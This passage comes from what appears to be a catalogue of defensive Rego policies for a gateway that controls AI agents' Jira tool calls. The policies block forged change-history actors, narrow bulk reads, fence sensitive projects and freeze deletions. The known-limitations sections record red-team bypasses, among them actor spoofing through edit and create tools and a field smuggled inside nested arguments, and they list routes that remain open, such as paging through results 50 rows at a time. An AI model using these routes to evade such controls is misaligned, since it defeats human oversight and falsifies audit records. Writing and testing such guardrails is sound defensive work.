}, "payload": { "name": "atlassian-editjiraissue", "args": { "issueIdOrKey": "DEV-7", "fields": { "summary": "updated" }, "historyMetadata": { "actor": { "displayName": "Jane Approver" } } } } } } ``` `allow = false` — the edit-issue tool is an equivalent route to the change log, so it is blocked too. ### Denied (nested smuggling via an open object) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-createjiraissue", "type": "tool" }, "payload": { "name": "atlassian-createjiraissue", "args": { "projectKey": "DEV", "summary": "New issue", "additional_fields": { "historyMetadata": { "actor": { "displayName": "Jane Approver" } } } } } } } ``` `allow = false` — the deep scan catches `historyMetadata` nested inside the connector's open `additional_fields` object. ## Composition This policy is single-purpose — it protects change-history integrity on transitions. Useful companions in the same [`atlassian`](../../../bundles/atlassian/README.md) bundle: - [`deny-write-sensitive-projects`](../deny-write-sensitive-projects/policy.md) — fences writes (including transitions) to designated sensitive projects. - [`deny-view-search-sensitive-projects`](../deny-view-search-sensitive-projects/policy.md) — read/search restriction for the same projects. - [`redact-sensitive-info`](../redact-sensitive-info/policy.md) — egress redaction of PII/secrets in returned issue content. ## Known limitations - **Official write tools only; edit/create honoring is unverified.** The rule covers the three official write tools that carry a `historyMetadata` body field: `transitionJiraIssue` (verified in the landscape note), `editJiraIssue`, and `createJiraIssue` (part of Jira's REST edit-issue and create-issue request bodies, but **not independently verified** on the connector — blocked defensively because the presence of a spoofing-shaped field on a write is the thing being prevented, and no legitimate agent sets it). If your connector turns out **not** to honor `historyMetadata` on edit/create, the only cost is that a call carrying that inert field is denied rather than silently stripped. Was previously discovered as a red-team bypass: an agent could spoof the change-history actor via `editJiraIssue`/`createJiraIssue` while sidestepping a transition-only rule. - **Nested smuggling is covered (red-team fix).** A red-team pass found that a top-level-only key check could be sidestepped by nesting `historyMetadata` inside the connector's open objects (`transitionJiraIssue`'s `fields`/`update`, `editJiraIssue`'s `fields`, `createJiraIssue`'s `additional_fields`), whose merge into the REST body is connector-defined and unverified. The rule now scans the whole arguments object for the key at any depth, so that route is closed; the residual cost is only that an inert nested key is denied rather than ignored. - **Community server tools are out of scope.** The community `sooperset/mcp-atlassian` write tools (`jira_transition_issue`, `jira_update_issue`, `jira_create_issue`, and the batch route `jira_batch_create_issues`) do not match any official suffix, and whether they accept `historyMetadata` is **unverified**; if you run the community server and confirm it honors the field, add its suffixes to `history_write_suffixes`. - **Exact-key reliance.** Detection looks for the `historyMetadata` key by name. Jira's REST API honors only that exact key, so an alternate-cased or misspelled key (`historymetadata`, `history_metadata`) is inert — the upstream API ignores it and no actor is stamped — and is therefore allowed through. This is not an exploitable bypass: a key the API ignores cannot corrupt the change history. - **Presence-based, not value-validated.** The policy denies on the mere presence of a non-null `historyMetadata`; it does not attempt to distinguish a "benign" actor from a spoofed one, because on the agent channel there is no trustworthy actor to record other than the real caller Jira already logs. - **No identity-based exemptions — by design.** All callers are treated the same; there is no break-glass group, because a legitimate need to set custom change-history metadata belongs to a vetted server-side integration, not an interactive agent. If you must exempt one, add an `allow if` branch gated on `input.subject.claims`. - **MCP path only.** A transition/edit/create performed via the Jira web UI or native API is outside the gateway's reach. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package jira.ingress.deny_history_actor_spoofing # Deny-by-default: only the explicit allow rules below permit a request, so any # ambiguous or malformed write falls through to deny (fail-closed). default allow := false # Lowercased tool name, fetched with object.get so a missing resource/name # yields "" (a clean non-match) instead of a silent rule failure. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # The arguments object, defaulted to {} when payload/args is missing. Kept as a # named value so the allow rule can assert it really is an object before # treating a write as safe. args := object.get(object.get(input, "payload", {}), "args", {}) # Official Jira write tools whose REST request body carries a historyMetadata # block (change-history actor metadata). transitionJiraIssue is verified in the # landscape note; editJiraIssue and createJiraIssue accept historyMetadata per # Jira's REST write-issue body schema — unverified in the landscape note, so they # are blocked defensively (see Known limitations). Matched by suffix so the policy # stays portable across gateway server-name prefixes (atlassian-, # atlassian-jira-mcp-, ...). history_write_suffixes := {"transitionjiraissue", "editjiraissue", "createjiraissue"} is_history_write_tool if { some suffix in history_write_suffixes endswith(tool_name, suffix) } # historyMetadata is present when the args object carries a non-null value under # that exact key at ANY depth. Any non-null value (object, {}, or bare string) # counts — presence signals intent to decorate the change history. Top-level is # the documented REST placement; the deep scan (walk) also catches the key # smuggled inside the connector's open objects (transition `fields`/`update`, # edit `fields`, create `additional_fields`), whose merge into the REST body is # unverified — and no legitimate Jira write nests a field named historyMetadata, # so the deep match costs nothing. Guarded by is_object so a non-object args # cannot be probed here (it fails closed via the allow rule below instead). has_history_metadata if { is_object(args) walk(args, [path, value]) count(path) > 0 path[count(path) - 1] == "historyMetadata" value != null } # Allow anything that is not a scoped Jira write call. allow if { not is_history_write_tool } # Allow a scoped write only when args is a well-formed object with no # historyMetadata block. A malformed (non-object) args fails is_object here, so # the call falls through to the default deny. allow if { is_history_write_tool is_object(args) not has_history_metadata } # Reason: spoofing attempt (historyMetadata present). reasons contains "This Jira write call includes a historyMetadata block, which lets the caller stamp a fabricated actor, cause, or generator onto the issue's change history and forge who performed the change. Remove the historyMetadata field and retry so Jira records the real actor. Contact your admin if a vetted integration must set change-history metadata." if { is_history_write_tool has_history_metadata } # Reason: malformed write payload (fail-closed deny). reasons contains "This Jira write call has a malformed arguments object and cannot be checked for change-history actor spoofing, so it is denied. Resend the request with a well-formed arguments object and no historyMetadata block." if { is_history_write_tool not is_object(args) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### JIRA: Cap Field and Result Exposure on Reads URL: https://www.intentbasedpolicy.com/policies/jira/cap-read-field-exposure App(s): jira | Direction: ingress | Bundles: soc2, gdpr-ccpa, atlassian | Package: jira.ingress.cap_read_field_exposure | Published: 2026-07-12 | Tags: jira, atlassian, cap-bulk-export, data-minimisation, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/jira/cap-read-field-exposure/policy.md # jira / cap-read-field-exposure **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `jira.ingress.cap_read_field_exposure` ## What it does Narrows the breadth of JIRA read requests *before* they run, on the two read surfaces that can pull large amounts of issue data into model context: - **Strips over-broad field tokens.** When a search or issue-view call's `fields` argument contains a broad wildcard — `"*all"` or `"*navigable"`, which expand to every / every navigable field (including custom fields — salary bands, customer identifiers — that the default field set deliberately omits) — or `"comment"` (which pulls full comment threads), those tokens are removed and the remaining fields pass through. If stripping leaves nothing, the request falls back to a conservative approximation of Jira's default safe field subset (`default_safe_fields` in `policy.md` — a documented tuning knob). Matching is case-insensitive and whitespace-tolerant (`"*ALL"`, `" *all "` are stripped too), both the official array form and the community comma-separated string form of `fields` are handled, and — because Jira comma-splits a `fields` value server-side — a *single array element* that packs a banned token behind a comma (`"summary,*all"`) is dropped whole rather than slipping through. - **Clamps search page size.** On the search tools, `maxResults` is rewritten down to **50** whenever it is higher than 50, absent, non-positive, or non-numeric — bounding bulk trawling well inside the server's own 100-row hard limit. A numeric value already in `[1, 50]` passes through unchanged. Note the *absent* case is deliberately clamped: a search that names no page size would otherwise run at the server's default, so the ceiling is injected. All other arguments (`jql`, `cloudId`, `issueIdOrKey`, …) are preserved via `object.union`. Calls are **never denied** — the request always proceeds, just narrower. Any tool outside the matched read set, any egress hook, and any call by an exempt power user passes through untouched. An issue-view call with no `fields` argument at all is left untouched (issue-view tools take no `maxResults`, so nothing is injected there). **Identity exemption:** callers whose `input.subject.claims.groups` include the placeholder group `jira-power-users` bypass the policy entirely. The exemption fails closed — missing subject, claims, or groups means the caps apply. ## Compliance alignment This policy instantiates field-level minimum-necessary / data-minimisation (family PF-08, cap-bulk-export) and supports alignment with: - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information by bounding how many fields and rows a single agent read can move out of Jira. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard: issue trackers routinely accumulate PHI in custom fields and comment threads; reads stay scoped to the default field subset unless a designated role needs more. - **GDPR Art. 5(1)(c)** — data minimisation on the agent channel: the query's breadth is minimised *before* it reaches Jira, so personal data in custom fields and comments is never pulled into model context. - **CCPA 11 CCR §7002** — supports proportionality: collection and use of personal information stays proportionate to the task rather than defaulting to every-field, maximum-row retrieval. ## Why ingress Once a `fields: ["*all"], maxResults: 100` search has executed, the data is already in the response, the model context, and the gateway logs — an egress policy can only mask patterns in text that has already been fetched. Rewriting the request at ingress is the only place the *breadth* of the read can be controlled. The companion egress policy (`redact-sensitive-info`) then masks sensitive values in whatever the narrowed query still returns. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `atlassian-searchjiraissuesusingjql`), so matching is by case-insensitive suffix to stay portable across deployments: - **Search tools** (fields stripped + `maxResults` clamped): `*searchjiraissuesusingjql` (official Rovo / Claude connector, verified) and `*jira_search` (sooperset community server). - **Issue-view tools** (fields stripped only): `*getjiraissue` (official, verified — same `fields`/`"*all"` semantics as search) and `*jira_get_issue` (community). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - `searchJiraIssuesUsingJql` takes `jql`, `fields[]` (array of strings; default is a safe subset; `"*all"` pulls every field and `"comment"` pulls full comment threads), and `maxResults` ≤ 100 — verified from the live official-connector schemas. `getJiraIssue` has the same `fields`/`"*all"` semantics. - The community server's `fields` parameter is conventionally a comma-separated **string**; the policy handles that form with the same strip-and-fallback logic (rejoining with commas). Community per-field schemas are **not independently verified** — see Known limitations. - Every argument is read with `object.get` — no direct indexing — so malformed or missing args never crash the policy; they simply pass through (a non-array, non-string `fields` value is not rewritten). ## Examples ### Untouched ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-getjiraissue", "type": "tool" }, "payload": { "name": "atlassian-getjiraissue", "args": { "issueIdOrKey": "ENG-42" } } } } ``` `allow = true`, no transform — no `fields` argument, and issue-view tools take no `maxResults`. ### Transformed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-searchjiraissuesusingjql", "type": "tool" }, "payload": { "name": "atlassian-searchjiraissuesusingjql", "args": { "jql": "project = ENG", "fields": ["summary", "*all", "status"], "maxResults": 100 } } } } ``` `allow = true`, transform rewrites the args to `{ "jql": "project = ENG", "fields": ["summary", "status"], "maxResults": 50 }`. Had `fields` been `["*all"]` alone, the rewrite would fall back to the default safe subset instead. ### Exempt The same search issued by a caller whose `input.subject.claims.groups` include `jira-power-users` passes through completely unchanged. ## Composition This policy narrows the *query*; it does not inspect returned *values* or fence which projects are reachable. Useful companions: - [`apps/jira/redact-sensitive-info`](../redact-sensitive-info/policy.md) — egress redaction that masks PII/credentials in whatever the narrowed read still returns (defense in depth). - [`apps/jira/deny-view-search-sensitive-projects`](../deny-view-search-sensitive-projects/policy.md) — the project-level fence; this policy bounds breadth *within* the projects that fence still allows. - [`apps/jira/freeze-destructive-ops`](../freeze-destructive-ops/policy.md) — guards the destructive surface of community-server deployments. ## Known limitations - **Group names are placeholders** — replace `jira-power-users` with your IdP's group name at import time. The exemption expects `groups` to be an array of strings; a single-string `groups` claim is not matched (the caps then apply — fail closed for the grant). - **Community argument shapes are unverified.** The sooperset server's `jira_search` / `jira_get_issue` field parameter (comma-separated string) and its page-size parameter name were not independently verified in the landscape research. Notably, if the community server reads its page size from a key other than `maxResults` (e.g. `limit`), that key is **not** clamped by this policy — confirm from your server's `tools/list` and extend the clamp before relying on it. - **Per-call caps do not stop patient pagination.** Stateless Rego cannot track cumulative volume: an agent can still page through results 50 rows at a time, and named non-sensitive fields are never stripped. Use gateway audit logs to spot high-frequency crawls, and pair with the project fence and egress redaction listed above. - **Only the `"*all"`, `"*navigable"`, and `"comment"` tokens are stripped.** A caller who explicitly enumerates individual custom field IDs (e.g. `customfield_10042`) still receives them; blocking specific fields by name is a separate allowlist policy. `"*navigable"` is a documented Jira wildcard, not independently verified in the landscape note — it is stripped as defense in depth. If Jira adds a further broad-expansion token, add it to `banned_field_tokens`. - **Absent `maxResults` is injected, not left alone.** A bare search gains `maxResults: 50`. If your server's default page size is already lower, this is a no-op in practice but the argument will appear in the call. - **Other bulk-read tools are out of scope.** Community tools like `jira_get_project_issues` or `jira_batch_get_changelogs` have their own shapes; cover them with additional policies if your deployment exposes them. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are > outside the gateway's reach by design. Validate against your own compliance > program before relying on it. ```rego package jira.ingress.cap_read_field_exposure # Transform-only policy — never denies, only narrows the read before it runs. default allow := true # --- Tuning knobs --------------------------------------------------------------- # Ceiling for search page size. Jira's own hard limit is 100; 50 keeps a single # call from pulling the maximum the API allows. max_results_ceiling := 50 # Field tokens stripped from `fields`: "*all" and "*navigable" are Jira wildcards # that expand to every / every navigable field (including custom fields the # default subset deliberately omits — salary bands, customer identifiers) and # "comment" pulls full comment threads. "*navigable" is a documented Jira # wildcard, not verified in the landscape note — stripped as defense in depth. banned_field_tokens := {"*all", "*navigable", "comment"} # Fallback when stripping leaves no fields: a conservative approximation of # Jira's default safe field subset. Tune to your environment. default_safe_fields := [ "summary", "status", "issuetype", "priority", "assignee", "reporter", "created", "updated", "labels", ] # Callers in this IdP group bypass the policy entirely. Placeholder name — # replace with your IdP's group name at import time. power_user_group := "jira-power-users" # --- Tool matching ---------------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, so we # match case-insensitively by suffix to stay portable. Official Rovo/Claude # connector names are verified; community (sooperset) names per its docs. # Search tools: fields stripped AND maxResults clamped. search_tool_suffixes := ["searchjiraissuesusingjql", "jira_search"] # Issue-view tools: fields stripped only (they take no maxResults). get_tool_suffixes := ["getjiraissue", "jira_get_issue"] is_search_tool if { some suffix in search_tool_suffixes endswith(lower(input.resource.name), suffix) } is_get_tool if { some suffix in get_tool_suffixes endswith(lower(input.resource.name), suffix) } is_read_tool if is_search_tool is_read_tool if is_get_tool # The caps apply to the ingress hook only — egress hooks on the same tool # names pass through. is_capped_read_call if { input.action == "tool_pre_invoke" is_read_tool } # --- Identity exemption ----------------------------------------------------------- # Fail closed for the grant: a missing subject, claims, or groups claim means # the caller is NOT exempt and the caps apply. caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_power_user if { some g in caller_groups is_string(g) lower(g) == power_user_group } # --- Argument access (object.get everywhere — fields may be missing) --------------- args := object.get(object.get(input, "payload", {}), "args", {}) fields_value := object.get(args, "fields", null) # --- fields rewrite: array form (official Rovo/Claude connector, verified) --------- # A token is banned when — lowercased and whitespace-trimmed — it matches a # banned wildcard/token. Each array element is *also* comma-split first, because # Jira splits a comma-joined `fields` value server-side: an element such as # "*all,comment" or "summary,*all" would otherwise pass through atomically and # still expand to every field. If any comma-part is banned the whole element is # dropped (fail-safe: over-stripping falls back to the default safe subset). # Non-string entries are never banned (and are preserved as-is). is_banned_token(f) if { is_string(f) some part in split(f, ",") banned_field_tokens[lower(trim_space(part))] } banned_in_array if { is_array(fields_value) some f in fields_value is_banned_token(f) } # Original order preserved; only banned tokens are dropped. sanitized_array := [f | is_array(fields_value) some f in fields_value not is_banned_token(f) ] # --- fields rewrite: comma-separated string form (community servers; shape --------- # --- not independently verified — see Known limitations) --------------------------- banned_in_string if { is_string(fields_value) some t in split(fields_value, ",") banned_field_tokens[lower(trim_space(t))] } sanitized_string_tokens := [trimmed | is_string(fields_value) some t in split(fields_value, ",") trimmed := trim_space(t) not banned_field_tokens[lower(trimmed)] trimmed != "" ] # --- Patches ------------------------------------------------------------------------ # Each patch defaults to {} so `patch` below is always defined; the transform # fires only when at least one patch has content. default fields_patch := {} fields_patch := {"fields": sanitized_array} if { banned_in_array count(sanitized_array) > 0 } fields_patch := {"fields": default_safe_fields} if { banned_in_array count(sanitized_array) == 0 } fields_patch := {"fields": concat(",", sanitized_string_tokens)} if { banned_in_string count(sanitized_string_tokens) > 0 } fields_patch := {"fields": concat(",", default_safe_fields)} if { banned_in_string count(sanitized_string_tokens) == 0 } max_results_value := object.get(args, "maxResults", null) # Clamp when maxResults is absent — a bare search would otherwise run at the # server's own default page size. needs_max_results_clamp if { max_results_value == null } # Clamp a numeric maxResults above the ceiling. needs_max_results_clamp if { is_number(max_results_value) max_results_value > max_results_ceiling } # Clamp non-positive page sizes: several servers read 0/negative as "use the # default" or "unbounded", so anything outside [1, ceiling] is rewritten. needs_max_results_clamp if { is_number(max_results_value) max_results_value < 1 } # Fail safe: a non-numeric maxResults is replaced with the ceiling rather than # letting the server's parsing decide. needs_max_results_clamp if { max_results_value != null not is_number(max_results_value) } default max_results_patch := {} # The page-size clamp applies to search tools only — issue-view tools take no # maxResults, so nothing is ever injected into them. max_results_patch := {"maxResults": max_results_ceiling} if { is_search_tool needs_max_results_clamp } patch := object.union(fields_patch, max_results_patch) # --- Transform ------------------------------------------------------------------------ # Rewrites only the offending keys; every other argument is preserved. transform := {"transformed_payload": object.union(args, patch)} if { is_capped_read_call not is_power_user count(patch) > 0 } ``` ### JIRA: Deny Sensitive Project Search and View URL: https://www.intentbasedpolicy.com/policies/jira/deny-view-search-sensitive-projects App(s): jira | Direction: ingress | Bundles: atlassian, soc2, gdpr-ccpa | Package: jira.ingress.deny_sensitive_search_and_view | Published: 2026-06-16 | Tags: jira, atlassian, access-control, data-protection, ingress, soc2, gdpr-ccpa, iso27001-nist, finserv-comms Source: https://github.com/dtwoai/policy-store/blob/main/apps/jira/deny-view-search-sensitive-projects/policy.md # jira / deny-view-search-sensitive-projects **Direction:** ingress (`tool_pre_invoke`) **Default:** allow, with targeted denies and a silent search filter **Package:** `jira.ingress.deny_sensitive_search_and_view` ## What it does Keeps issues that belong to a configurable set of "sensitive" JIRA projects out of read access through the JIRA MCP server. It guards the two read paths a caller can use to reach an issue — fetching an issue directly by key, and searching with JQL — and leaves every other JIRA tool and every other project untouched. The set of sensitive projects is configured once at the top of the Rego (`sensitive_projects`) and all comparisons are case-insensitive. ## Compliance alignment This policy instantiates sensitive-scope fencing (family PF-23) on Jira's read path and supports alignment with: - **SOC 2 C1.1, P4.1** — identifies and protects confidential information and limits personal-information use by fencing designated projects out of agent reads and JQL searches. - **HIPAA §164.514(d), §164.308(a)(4)** — minimum-necessary and information-access-management: agents cannot view or trawl issues in the protected projects over MCP. - **GDPR Art. 9; CPRA §1798.121** — keeps special-category / sensitive personal information held in fenced projects out of agent result sets. - **ISO 27001 A.8.3** — information access restriction on designated Jira projects. - **GLBA 16 CFR 314.4(c)(1)** — access controls limiting agent access to customer information stored in fenced projects. ## Behavior The policy is `default allow := true` and enforces three behaviors against the two read tools: - **Deny direct views.** A `*-getjiraissue` call whose `issueIdOrKey` resolves to a sensitive project is denied, and the caller receives a reason naming the affected project. - **Deny explicit searches.** A `*-searchjiraissuesusingjql` call whose JQL explicitly references a sensitive project — via `project = X`, `project in (... X ...)`, or any `X-NNN` issue key — is denied with a reason naming the matched project(s). - **Silently filter generic searches.** Any other `*-searchjiraissuesusingjql` call (generic filter, `ORDER BY` only, empty JQL, etc.) is rewritten to prepend a `project NOT IN (...)` clause so sensitive-project issues never appear in the result set. The caller gets results back, just without the protected issues. ## Why ingress Both read paths can be fully evaluated from the request alone (tool name + arguments), so enforcement happens before the call reaches JIRA. Direct views and explicit searches are denied outright; generic searches are rewritten in place. Doing this at ingress means sensitive issues are never fetched from JIRA in the first place. For defense in depth, pair this with the egress redaction policy in the same bundle as a backstop for any issue reached by a path this policy doesn't cover. ## Tool name matching Tool names on the gateway are prefixed with the configured MCP server name (e.g. `atlassian-jira-mcp-getjiraissue`), and that prefix is not standardized. The policy matches on the tool-name **suffix** (`-getjiraissue`, `-searchjiraissuesusingjql`) so it stays portable across naming conventions. Confirm the exact tool names your gateway emits with the dump-input debug technique before relying on this in production. ## Argument shape - Direct view: reads the issue key from `input.payload.args.issueIdOrKey`. - Search: reads the query from `input.payload.args.jql`. If your JIRA MCP server exposes these under different argument keys, adjust the `object.get(...)` lookups accordingly. ## Configuration Edit the `sensitive_projects` set at the top of the policy. The shipped keys (`PROJA`, `PROJB`) are **placeholders** — replace them with your own project keys (uppercase). If you also run a companion writes-protection policy for the same projects, mirror this set there so view/search and write restrictions stay aligned. ## Examples ### Allowed (generic search — silently filtered) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-jira-mcp-searchjiraissuesusingjql", "type": "tool" }, "payload": { "name": "atlassian-jira-mcp-searchjiraissuesusingjql", "args": { "jql": "assignee = currentUser() ORDER BY created DESC" } } } } ``` `allow = true`. The JQL is rewritten to `project NOT IN (PROJA, PROJB) AND (assignee = currentUser()) ORDER BY created DESC`. ### Denied (explicit sensitive-project search) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-jira-mcp-searchjiraissuesusingjql", "type": "tool" }, "payload": { "name": "atlassian-jira-mcp-searchjiraissuesusingjql", "args": { "jql": "project = PROJA ORDER BY created DESC" } } } } ``` `allow = false`, `reason = "Searching for issues in protected project(s) (PROJA) is not permitted. ..."`. ### Denied (direct view of a sensitive issue) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-jira-mcp-getjiraissue", "type": "tool" }, "payload": { "name": "atlassian-jira-mcp-getjiraissue", "args": { "issueIdOrKey": "PROJA-42" } } } } ``` `allow = false`, `reason = "Viewing issues in the 'PROJA' project is not permitted. ..."`. ## Composition This policy covers the read surface. Useful companions: - The [`redact-sensitive-info`](../redact-sensitive-info/policy.md) egress policy in the same bundle, as a backstop that masks PII/secrets in any issue content that is returned. - A separate ingress write-protection policy that denies create/edit/comment/transition on the same sensitive projects. ## Known limitations - **JQL is inspected with regex, not a parser.** The explicit-reference detection covers the common `project = X`, `project in (...)`, and `X-NNN` shapes. Exotic JQL (functions, deeply nested boolean logic, fields that indirectly imply a project) may not be detected as an *explicit* reference — in that case the call falls through to the silent `project NOT IN (...)` rewrite, which still excludes sensitive projects from results. - **Read paths only.** This policy does not restrict writes. Pair it with a write-protection policy if callers can create or edit issues. - **No identity-based exemptions.** All callers are treated the same. To add an InfoSec break-glass user, gate a separate `allow if` branch on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package jira.ingress.deny_sensitive_search_and_view # Default-allow: only deny when a sensitive-project view or explicit search is # detected. For generic searches, a transform rewrites the JQL to silently # exclude sensitive projects (see Transform section below). default allow := true # ----------------------------------------------------------------------------- # CONFIG: Sensitive project keys. Edit this set to add or remove projects. # The keys below (PROJA, PROJB) are PLACEHOLDERS — replace them with your own # project keys. Stored UPPERCASE; all comparisons normalize input to upper case. # If you also run a companion writes-protection policy, mirror this set there to # keep view/search restrictions and write restrictions aligned. # ----------------------------------------------------------------------------- sensitive_projects := { "PROJA", "PROJB", } # Suffix matching works regardless of the MCP server name on the gateway # (atlassian-, atlassian-jira-mcp-, etc.). view_tool_suffixes := {"-getjiraissue"} search_tool_suffixes := {"-searchjiraissuesusingjql"} # ----------------------------------------------------------------------------- # Helpers # ----------------------------------------------------------------------------- tool_name := lower(input.resource.name) is_search_tool if { some suffix in search_tool_suffixes endswith(tool_name, suffix) } # JQL clause used to exclude every configured sensitive project from a search. # Sorted for stable, deterministic output (eases debugging). exclusion_clause := sprintf( "project NOT IN (%s)", [concat(", ", sort([p | some p in sensitive_projects]))], ) # Extract the project key from a JIRA issue key like "PROJA-123" -> "PROJA". project_from_issue_key(key) := project if { parts := split(key, "-") count(parts) >= 2 project := upper(parts[0]) project != "" } # True when the request is fetching an issue in a sensitive project. view_targets_sensitive_project if { key := object.get(input.payload.args, "issueIdOrKey", "") project := project_from_issue_key(key) sensitive_projects[project] } # ----------------------------------------------------------------------------- # JQL inspection — collect the specific sensitive projects the JQL references. # Three regex shapes per project; any match adds the project to the set. # # Pattern A: project = (with optional quotes/whitespace) # Pattern B: project in (... ...) # Pattern C: -NNN (any specific issue key reference) # ----------------------------------------------------------------------------- referenced_sensitive_projects contains proj if { jql := object.get(input.payload.args, "jql", "") is_string(jql) some proj in sensitive_projects pattern := sprintf(`(?i)\bproject\s*=\s*['"]?%s['"]?(\s|$|[^A-Z0-9_])`, [proj]) regex.match(pattern, jql) } referenced_sensitive_projects contains proj if { jql := object.get(input.payload.args, "jql", "") is_string(jql) some proj in sensitive_projects pattern := sprintf(`(?i)\bproject\s+in\s*\([^)]*['"]?%s['"]?[^)]*\)`, [proj]) regex.match(pattern, jql) } referenced_sensitive_projects contains proj if { jql := object.get(input.payload.args, "jql", "") is_string(jql) some proj in sensitive_projects pattern := sprintf(`\b%s-\d+\b`, [proj]) regex.match(pattern, jql) } jql_references_sensitive_project if { count(referenced_sensitive_projects) > 0 } # ----------------------------------------------------------------------------- # JQL rewriting helpers — find ORDER BY position and build the new JQL. # Handles four shapes: filter+ORDER BY, ORDER BY only, filter only, empty. # ----------------------------------------------------------------------------- # Index of "order by" in JQL. Returns the index of " order by " (with leading # space) if present mid-string, or 0 if JQL starts with "order by ". Otherwise # undefined — callers can use `not order_by_idx(...)` to mean "no ORDER BY". order_by_idx(jql) := idx if { lower_jql := lower(jql) idx := indexof(lower_jql, " order by ") idx >= 0 } order_by_idx(jql) := 0 if { lower_jql := lower(jql) indexof(lower_jql, " order by ") == -1 startswith(lower_jql, "order by ") } # Case 1: JQL has both a filter and an ORDER BY clause. build_jql(original_jql) := new_jql if { idx := order_by_idx(original_jql) filter_part := trim_space(substring(original_jql, 0, idx)) order_part := trim_space(substring(original_jql, idx, count(original_jql) - idx)) filter_part != "" new_jql := sprintf("%s AND (%s) %s", [exclusion_clause, filter_part, order_part]) } # Case 2: JQL has ONLY an ORDER BY clause, no filter. build_jql(original_jql) := new_jql if { idx := order_by_idx(original_jql) filter_part := trim_space(substring(original_jql, 0, idx)) order_part := trim_space(substring(original_jql, idx, count(original_jql) - idx)) filter_part == "" new_jql := sprintf("%s %s", [exclusion_clause, order_part]) } # Case 3: JQL has ONLY a filter, no ORDER BY. build_jql(original_jql) := new_jql if { not order_by_idx(original_jql) filter_part := trim_space(original_jql) filter_part != "" new_jql := sprintf("%s AND (%s)", [exclusion_clause, filter_part]) } # Case 4: JQL is empty. build_jql(original_jql) := exclusion_clause if { not order_by_idx(original_jql) trim_space(original_jql) == "" } # ----------------------------------------------------------------------------- # Deny rules # ----------------------------------------------------------------------------- allow := false if { some suffix in view_tool_suffixes endswith(tool_name, suffix) view_targets_sensitive_project } allow := false if { is_search_tool jql_references_sensitive_project } # ----------------------------------------------------------------------------- # Transform — silently exclude sensitive projects from generic JQL searches. # Only fires when the JQL does NOT already explicitly reference a sensitive # project; those calls are denied above with a clear reason. Generic searches # (no project filter, ORDER BY only, empty JQL, etc.) get the silent filter so # sensitive-project issues never appear in the result set. # ----------------------------------------------------------------------------- transform := { "transformed_payload": object.union( input.payload.args, {"jql": new_jql}, ) } if { input.action == "tool_pre_invoke" is_search_tool not jql_references_sensitive_project original_jql := object.get(input.payload.args, "jql", "") is_string(original_jql) new_jql := build_jql(original_jql) } # ----------------------------------------------------------------------------- # Reasons # ----------------------------------------------------------------------------- reasons contains msg if { some suffix in view_tool_suffixes endswith(tool_name, suffix) view_targets_sensitive_project key := object.get(input.payload.args, "issueIdOrKey", "") project := project_from_issue_key(key) msg := sprintf("Viewing issues in the '%s' project is not permitted. Contact your InfoSec team if this needs to change.", [project]) } reasons contains msg if { is_search_tool jql_references_sensitive_project project_list := concat(", ", sort([p | some p in referenced_sensitive_projects])) msg := sprintf("Searching for issues in protected project(s) (%s) is not permitted. Contact your InfoSec team if this needs to change.", [project_list]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### JIRA: Freeze Destructive Issue Operations URL: https://www.intentbasedpolicy.com/policies/jira/freeze-destructive-ops App(s): jira | Direction: ingress | Bundles: atlassian, soc2 | Package: jira.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: jira, atlassian, freeze-destructive-ops, record-integrity, data-protection, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/jira/freeze-destructive-ops/policy.md # jira / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on the frozen destructive tools, allow everything else **Package:** `jira.ingress.freeze_destructive_ops` ## What it does Freezes the three irreversible Jira operations on the agent channel: `jira_delete_issue`, `jira_remove_issue_link`, and `jira_remove_watcher`. Any tool call whose lowercased name ends with one of those suffixes is denied for all callers, with an optional break-glass exemption for a placeholder `jira-admins` group. Every other Jira tool — reads, searches, issue creates/edits, comments, worklogs, transitions, link creation, watcher addition — passes through untouched. The check runs at ingress, before the call reaches the Jira MCP server, so a frozen operation never executes: the issue, link, or watcher survives an injected prompt or an erring agent. When destruction is genuinely required, a human performs it through a reviewed native Jira workflow (or, for planned maintenance, from an account in the break-glass group). These three tools exist only on the community **sooperset/mcp-atlassian** server. The official Atlassian **Rovo** MCP server exposes **no delete tools at all** (verified in the app landscape note — it cannot delete issues, links, pages, or comments). So on official-connector deployments this policy is a zero-cost safety net that never fires; on community / Data-Center deployments it is the control that actually stops destructive agent behaviour. Because it costs nothing where it cannot fire, it is worth keeping attached everywhere as a categorical backstop. ## Relationship to `deny-write-sensitive-projects` This policy complements [`jira/deny-write-sensitive-projects`](../deny-write-sensitive-projects/policy.md), which blocks *writes* only within a configured sensitive-project set. That policy leaves destruction available outside the sensitive set; this one makes the three irreversible operations unavailable to the agent **org-wide, on every project**, so records survive agent error or prompt injection 